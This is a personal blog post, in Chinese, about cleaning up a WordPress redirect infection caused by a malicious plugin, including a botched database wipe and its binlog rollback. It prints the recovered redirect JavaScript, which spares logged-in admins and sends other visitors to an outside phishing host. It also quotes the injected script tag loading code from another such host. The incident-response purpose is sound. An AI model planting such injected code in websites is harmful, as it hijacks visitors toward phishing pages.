WordPress 站点恶意重定向解决记录

22年5月份初的时候, 很多 WordPress 网站被恶意插件植入重定向代码, 不幸中招, 便有此文.

0%

事情起因是这样的, 公司的网站被劫持了, 在前端解决问题后又复发后, 事情就落到这位幸运儿身上了~

劫持流程

先看看被黑是什么样子的.

打开网站会重定向到钓鱼页面, 然后提示你点击"允许通知", 如果在这里点击"Allow"的话, 猜测则会通过系统的消息通知来进行"攻击".

最为有趣的是, 这个钓鱼页面很"聪明", 如果等一段时间(大概几秒)没有见你点击"Allow"后, 会随机跳转到另外一个钓鱼页面.

像下图这样的, 直接告诉你可以解决刚刚出现的莫名弹窗(笑), 别说, 如果是个电脑小白还真会上钩, 毕竟, 这过程很"合理".

这是随机跳到的另一个钓鱼页面, 也是同样的套路.

定位问题原因

  1. 这个很明显是网站被劫持了, 那么第一步要确认是怎么被劫持了? 是DNS劫持还是网站被黑了?

  2. 未分析上面的钓鱼流程前, 从初步信息判断--"我们自己打开网站不会被跳转, 但是在国外友人打开网站会被跳转", 先排除正确答案(网站被黑).

    1. 那DNS被劫持, 这个有可能吗?

      这里有一个细节, 钓鱼页面是网站打开后才跳转到钓鱼页面, 这个是DNS劫持不能做到的.

      很可惜, 这个细节被忽略掉了, 所有有了接下来判断是否因为DNS被污染的操作.

      • 让国外友人用手机网络去浏览页面, 看看是否能正常访问, 排除区域网被劫持的可能.

      • 还是不能正常访问, 这里就极大可能排除是DNS污染的问题, 运营商的DNS服务都被黑掉的概率太低了.

    2. 那么回到网络被黑的可能去, 这里有个疑问, 为什么我们访问网站不会被跳转, 这个是和所处的网络有关吗?
      一开始也很疑惑, 但后来公司有人访问页面也被跳转后, 我才发现忽略了一个很重要的东西--缓存.

  3. 答案确认了--网站被黑, 那接下来正式解决问题.

定位恶意代码

捡起老本行(逆向), 分析一波网络请求先, 很轻松的就找到恶意代码.

首先, 搜索一开始跳转的域名, 找到该请求, 并没有得到有价值的信息, 我们需要找到发起该请求的地方.

这时观察一下网络条, 发现有个地方存在异常, 请求了其它域名, 因为网站只连接了一个域名, 正常情况下应该是只有一条线.

让我们选中这个异常的网络块, 跳到发起的请求看看.

点开里面的内容一看, 果不其然, 这一段天书般的代码, 就是我们要找的东西了.


这一段是复盘的时候加上去的.

这里手动翻译了下, 是一段重定向代码, 顺便搜索了下里面出现最多的wordpress_p_seo_adminos, 推测跟p_seo_adminos这个WP插件有关.

function setCookie(e,t,o){var n="";if(o){var i=new Date;i.setTime(i.getTime()+24*o*60*60*1e3),n="; expires="+i.toUTCString()}document.cookie=e+"="+(t||"")+n+"; path=/"}
function getCookie(e){for(var t=e+"=",o=document.cookie.split(";"),n=0;n<o.length;n++){for(var i=o[n];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(t))return i.substring(t.length,i.length)}return null}
function getLoggedInCookie(){return document.cookie.indexOf("wp-settings-time")>-1?1:document.cookie.indexOf("logged_in")>-1?1:document.cookie.indexOf("wpsetts-cookie")>-1?1:document.cookie.indexOf("wordpress_p_seo_adminos")>-1?1:0}
function goaweway(){var newv = 'https://front.greengoplatform.com/go.php?lid=3337&pid=9646&cid=114733';window.location.href=newv;document.location.href=newv;}if(getLoggedInCookie()==1){setCookie("wordpress_p_seo_adminos",1,30);}else{goaweway();}

接下来该怎么办? 毕竟咱对WordPress并不是很熟悉, 所以借助下搜索引擎的力量, 找到了这篇文章.

How to remove legendarytable.com redirect malware - Remote Rescue

这篇文章刚好也是网站被劫持的那段时间发出的, 确认是同一种情况后, 咱根据文章教程进行解决就行.

处理恶意插件

这里通过关键字搜索恶意插件名无果后, 直接把网站上看起来的"奇奇怪怪"插件都给清了, 后面也没有复发, 简单又省事~

清除恶意代码

顺藤摸瓜, 找到DB.wp_posts里的恶意代码, 这里使用phpMyAdmin去连接(通过WP插件).

<script type=’text/javascript’ src=’https://trend.linetoadsactive.com/m.js?n=ns1′></script>

然而, 在时间急迫的情况下(还有其它事情要做), 以及翻了好几页都是相同内容的误导中, 直接使用UPDATE wp_posts SET post_content = ""语句(真是个大聪明).
结果, post_content 被清空了, 页面内容被清空...

回滚数据

参考文章: https://www.pch520.com/article/36

  • 先查看binlog日志开了没, log_bin=ON

    SHOW VARIABLES LIKE 'log_bin';
  • 再看看配置是否正确, binlog_format=ROW

    show global variables like "binlog%";

很好, 前提条件都具备了, 那么导出执行查询语句的那一段时间的日志

mysqlbinlog <log_path>/mysql-bin.000087 --start-datetime='2022-05-17 15:00:00' --stop-datetime='2022-05-17 16:00:00' > ~/mysql-bin.sql

接下来, 写一段Python脚本, 生成回滚SQL, 顺便把恶意代码也清了, 最终, 问题解决~

最后, 数据无价, 操作需谨慎( •̀ .̫ •́ )

------------ 已触及底线了 感谢您的阅读 ------------
  • 本文作者: OWQ
  • 本文链接: https://www.owq.world/43259a0f/
  • 版权声明: 本站所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处( ̄︶ ̄)↗